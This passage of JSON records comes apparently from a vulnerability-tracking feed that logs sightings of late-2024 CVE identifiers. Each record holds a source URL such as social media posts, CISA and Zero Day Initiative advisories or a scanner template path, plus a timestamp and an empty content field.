"https://bsky.app/profile/cve.skyfleet.blue/post/3lfefavtvha2u", "content": "", "creation_timestamp": "2025-01-10T04:48:20.669241Z"}, {"uuid": "783bf622-7e6e-45f0-9358-b0ffb55e2527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496552660982", "content": "", "creation_timestamp": "2025-01-07T05:48:10.965334Z"}, {"uuid": "54032db4-edf6-4441-a2dc-934eb8b54aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341281477901", "content": "", "creation_timestamp": "2025-01-09T12:14:45.788617Z"}, {"uuid": "33798635-02aa-443a-9370-289811c17df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12849.yaml", "content": "", "creation_timestamp": "2025-01-07T16:31:16.000000Z"}, {"uuid": "68a7aa0f-25e5-4e8d-aa65-c9b7dadcff25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5eb7so2l", "content": "", "creation_timestamp": "2024-12-27T16:15:50.204921Z"}, {"uuid": "dbc32409-3ff7-4477-af0b-0034820b175a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5gjbs52f", "content": "", "creation_timestamp": "2024-12-27T16:15:52.953013Z"}, {"uuid": "3f1ca783-717e-4094-858c-316c98ef2c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5im54q2e", "content": "", "creation_timestamp": "2024-12-27T16:15:55.697250Z"}, {"uuid": "53c5a6b5-664b-4646-a0f3-3501798a62c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecihxhwr62k", "content": "", "creation_timestamp": "2024-12-27T17:15:26.969315Z"}, {"uuid": "173262f8-21f1-4815-9592-3fb5ef40bf31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12989", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecltkq3zk22", "content": "", "creation_timestamp": "2024-12-27T18:15:38.411387Z"}, {"uuid": "0570b464-bf60-4198-882b-c1ca2c4267af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12990", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecltnvdxl25", "content": "", "creation_timestamp": "2024-12-27T18:15:42.428662Z"}, {"uuid": "e52749fd-92c5-4ce5-82f8-226670efb7c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lecm37p3bc2c", "content": "", "creation_timestamp": "2024-12-27T18:19:54.612938Z"}, {"uuid": "c7bb8cac-22de-457b-85d6-429d3ef92a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726450950568003", "content": "", "creation_timestamp": "2024-12-27T19:32:06.443476Z"}, {"uuid": "6c167c6b-53a2-4976-8c67-04d25e39c65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecska4m6e2m", "content": "", "creation_timestamp": "2024-12-27T20:15:41.145453Z"}, {"uuid": "1083c50b-8f3e-4cb2-b563-897038f1f3e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ledwrfn57s2p", "content": "", "creation_timestamp": "2024-12-28T07:03:56.082988Z"}, {"uuid": "ae04074e-e9e2-4566-ae48-7ba417de14e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499151507228", "content": "", "creation_timestamp": "2025-01-07T05:48:50.417316Z"}, {"uuid": "6be0d840-3455-473e-beec-08b67ee9360e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g57tpu52c", "content": "", "creation_timestamp": "2025-01-07T10:15:31.991109Z"}, {"uuid": "69027c8f-523d-4601-b3d3-1f3dd99cab98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341295943036", "content": "", "creation_timestamp": "2025-01-09T12:14:46.015786Z"}, {"uuid": "80a055a2-7938-4c7b-bd03-af7f8413359c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499166691620", "content": "", "creation_timestamp": "2025-01-07T05:48:50.750874Z"}, {"uuid": "696d4067-87db-4e79-97c5-6ed047caf660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5cbkca2f", "content": "", "creation_timestamp": "2025-01-07T10:15:34.394950Z"}, {"uuid": "f30543dd-cc43-463f-9640-2d2af6dc5297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341343631343", "content": "", "creation_timestamp": "2025-01-09T12:14:47.094168Z"}, {"uuid": "f9993108-0960-418f-afb3-3ad65bcec07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499181600844", "content": "", "creation_timestamp": "2025-01-07T05:48:51.558312Z"}, {"uuid": "4df77c1d-8365-49e2-8c80-c358973fdd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5cbkca2f", "content": "", "creation_timestamp": "2025-01-07T10:15:34.398406Z"}, {"uuid": "e5e6befb-a8a5-4397-9da1-b553cbd2a296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341329606867", "content": "", "creation_timestamp": "2025-01-09T12:14:47.396590Z"}, {"uuid": "cdd8cafd-52b5-4391-a64b-3071b3bf1356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://thehackernews.com/2024/12/15000-four-faith-routers-exposed-to-new.html", "content": "", "creation_timestamp": "2024-12-28T05:25:00.000000Z"}, {"uuid": "cc052302-636c-40e5-8843-dc9abbcc38c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113730104225786101", "content": "", "creation_timestamp": "2024-12-28T11:01:12.392280Z"}, {"uuid": "39249f7a-825c-4067-8ec4-1cc8af09746e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113730589064020508", "content": "", "creation_timestamp": "2024-12-28T13:04:29.015370Z"}, {"uuid": "f121be15-566c-48ea-bb7b-2329920cd08e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leelkcfopi2m", "content": "", "creation_timestamp": "2024-12-28T13:15:46.448788Z"}, {"uuid": "8dc5a339-71c5-4627-b5ac-984493f97ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113730695537675548", "content": "", "creation_timestamp": "2024-12-28T13:31:33.756951Z"}, {"uuid": "45e07e79-97c7-4627-9c34-fe1b0ba860f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leeovmyccw2m", "content": "", "creation_timestamp": "2024-12-28T14:15:47.926672Z"}, {"uuid": "89cd125a-f180-45cb-9e9a-f52dea434e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113731660280670135", "content": "", "creation_timestamp": "2024-12-28T17:36:55.026885Z"}, {"uuid": "9f46d438-abb4-4afc-ae63-f482e49860b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lef6g56dx22i", "content": "", "creation_timestamp": "2024-12-28T18:53:33.078125Z"}, {"uuid": "0e0d95b9-b231-4df8-a78e-24f115121074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://bsky.app/profile/amberwolfsec.bsky.social/post/3lefcrn2uec2k", "content": "", "creation_timestamp": "2024-12-28T20:11:32.704489Z"}, {"uuid": "ba8edaaa-a1fc-4c9f-b7b5-595a87cf5200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/jussimetso.com/post/3lefghuugpk2a", "content": "", "creation_timestamp": "2024-12-28T21:17:40.615239Z"}, {"uuid": "1f1281ff-2e52-4a12-bc10-6ee593678c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113732593413596560", "content": "", "creation_timestamp": "2024-12-28T21:34:13.078762Z"}, {"uuid": "9276ce57-f16b-4d84-aba2-a498b5e2eddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lefjpfhae625", "content": "", "creation_timestamp": "2024-12-28T22:15:29.737925Z"}, {"uuid": "d3f4b5d4-2bd4-4420-91aa-69e2a2e2b236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113733675205605936", "content": "", "creation_timestamp": "2024-12-29T02:09:19.975234Z"}, {"uuid": "a4c0bfb8-e0a9-413c-ace1-da5c301bfece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lefx4rnawm2a", "content": "", "creation_timestamp": "2024-12-29T02:15:37.547679Z"}, {"uuid": "fb45acee-c48a-4228-a0c6-c1f620688c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113734444255228215", "content": "", "creation_timestamp": "2024-12-29T05:24:54.668953Z"}, {"uuid": "ce19974b-a559-4ef0-a284-75cba527a372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3legejfwid325", "content": "", "creation_timestamp": "2024-12-29T06:15:19.610695Z"}, {"uuid": "77059af0-ffeb-47b5-808e-51ba5e857536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi26g2g25", "content": "", "creation_timestamp": "2025-01-07T05:53:08.924451Z"}, {"uuid": "7ead2cda-33d5-4070-be04-9b39d1daee5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5em64m2l", "content": "", "creation_timestamp": "2025-01-07T10:15:37.260213Z"}, {"uuid": "c0900401-0871-492b-9dfd-818c8f7f77ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-02", "content": "", "creation_timestamp": "2025-01-07T11:00:00.000000Z"}, {"uuid": "4b606d5c-b54b-4c20-92de-4bdd5f1d185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2ho7k2g", "content": "", "creation_timestamp": "2025-01-07T05:53:09.652024Z"}, {"uuid": "b3c2193a-6856-40aa-87b2-61f49c56790b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2kxpc2k", "content": "", "creation_timestamp": "2025-01-07T05:53:10.139217Z"}, {"uuid": "5187e6ec-735f-43d7-8bf3-242b6413fb72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrser7uzm2i", "content": "", "creation_timestamp": "2025-01-15T12:47:45.327826Z"}, {"uuid": "58c9bf5e-5970-4ec9-ac7e-7ae77c58d5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2rv3w25", "content": "", "creation_timestamp": "2025-01-07T05:53:11.190159Z"}, {"uuid": "f45307dc-55e4-4472-a393-d78f3dbf4d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3leh4xwt46c2h", "content": "", "creation_timestamp": "2024-12-29T13:33:02.388047Z"}, {"uuid": "a59ffce3-1a67-44b5-9fb9-45cfb9ffb77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818700861357", "content": "", "creation_timestamp": "2024-12-30T16:54:38.444807Z"}, {"uuid": "94cc5d9a-8e69-4cc3-8401-30833278b162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818716870290", "content": "", "creation_timestamp": "2024-12-30T16:54:38.744237Z"}, {"uuid": "cc156fcc-b813-4775-84a7-a92e1ee1a456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818750162019", "content": "", "creation_timestamp": "2024-12-30T16:54:39.128091Z"}, {"uuid": "0efac6c1-d800-48d4-8329-5846977653ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818764786828", "content": "", "creation_timestamp": "2024-12-30T16:54:39.351964Z"}, {"uuid": "0700adea-edbd-433e-ad56-7e4418519d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833805887907", "content": "", "creation_timestamp": "2024-12-30T16:58:29.038841Z"}, {"uuid": "120caf63-4a3a-4765-a629-bd99c2f61d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833836935952", "content": "", "creation_timestamp": "2024-12-30T16:58:29.760175Z"}, {"uuid": "35f1017f-58d2-46e2-ad0e-7c8c3b1441c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833821256848", "content": "", "creation_timestamp": "2024-12-30T16:58:29.819303Z"}, {"uuid": "198a6802-75a6-498a-be12-9aa69d8f0def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833851325687", "content": "", "creation_timestamp": "2024-12-30T16:58:29.899704Z"}, {"uuid": "3f5bfa97-d52f-4dcf-acd8-063c2c6f8347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742892883784558", "content": "", "creation_timestamp": "2024-12-30T17:13:30.602770Z"}, {"uuid": "b0d40740-73d4-44bc-b667-c8fab56494b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743623799370322", "content": "", "creation_timestamp": "2024-12-30T20:19:23.372016Z"}, {"uuid": "5b6647e3-9078-4963-9de0-8ee23584c676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743623816619094", "content": "", "creation_timestamp": "2024-12-30T20:19:23.992548Z"}, {"uuid": "063b7bc2-bb21-4efe-915a-787e8422f526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743682818550270", "content": "", "creation_timestamp": "2024-12-30T20:34:23.798890Z"}, {"uuid": "199a90c7-e1ff-40bd-9e28-ff6247352911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1739/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "28bddbf8-ca89-4ab0-a082-abc50c101243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1738/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "1618e7cf-2c5a-4157-a925-9c49c512adbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1737/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "b8f378f3-a630-44c0-87b0-ee8e2423cdeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1736/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "0c61fead-b644-4691-b373-f2e9d2391522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12838", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113744869181833797", "content": "", "creation_timestamp": "2024-12-31T01:36:06.332927Z"}, {"uuid": "95eeae06-1730-4f68-a5ec-fd09fb2b3730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12839", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113744869196669712", "content": "", "creation_timestamp": "2024-12-31T01:36:06.530015Z"}, {"uuid": "5924b070-862d-4b16-95cb-d921d7194632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113747069009110423", "content": "", "creation_timestamp": "2024-12-31T10:55:33.617648Z"}, {"uuid": "36431d7b-2922-4a72-959a-7a1c42817a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2v5zv2y", "content": "", "creation_timestamp": "2025-01-07T05:53:11.772098Z"}, {"uuid": "7e38f7b3-1ac6-4f8c-94b6-8d20e0fcf984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2ymzp2h", "content": "", "creation_timestamp": "2025-01-07T05:53:12.294517Z"}, {"uuid": "2c07c895-a5f6-42a4-9274-39edbffc50ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-6360c159-b674e73894b2931a", "content": "", "creation_timestamp": "2025-01-07T10:37:14.906354Z"}, {"uuid": "983686de-9b09-42c1-aeda-fd62422021f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apdfrq2i", "content": "", "creation_timestamp": "2025-01-09T06:43:56.670585Z"}, {"uuid": "f5d5f711-207f-422a-8068-803419930072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400346336384", "content": "", "creation_timestamp": "2025-01-09T12:29:47.092768Z"}, {"uuid": "4a4a69e3-8775-4187-8784-a48248dcbcb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2lyem2u", "content": "", "creation_timestamp": "2025-01-07T10:43:23.967079Z"}, {"uuid": "78f7bceb-86dd-42f0-88ed-3546a196a6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apijpf2k", "content": "", "creation_timestamp": "2025-01-09T06:43:57.206434Z"}, {"uuid": "a1f0e001-efa2-4094-b54d-8edc8421e265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400362250825", "content": "", "creation_timestamp": "2025-01-09T12:29:47.215065Z"}, {"uuid": "248160b0-38d2-47c5-accc-b74ebde047ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400377674801", "content": "", "creation_timestamp": "2025-01-09T12:29:47.405436Z"}, {"uuid": "1d891694-2573-4197-9a19-8208fd67fe76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826808277247317", "content": "", 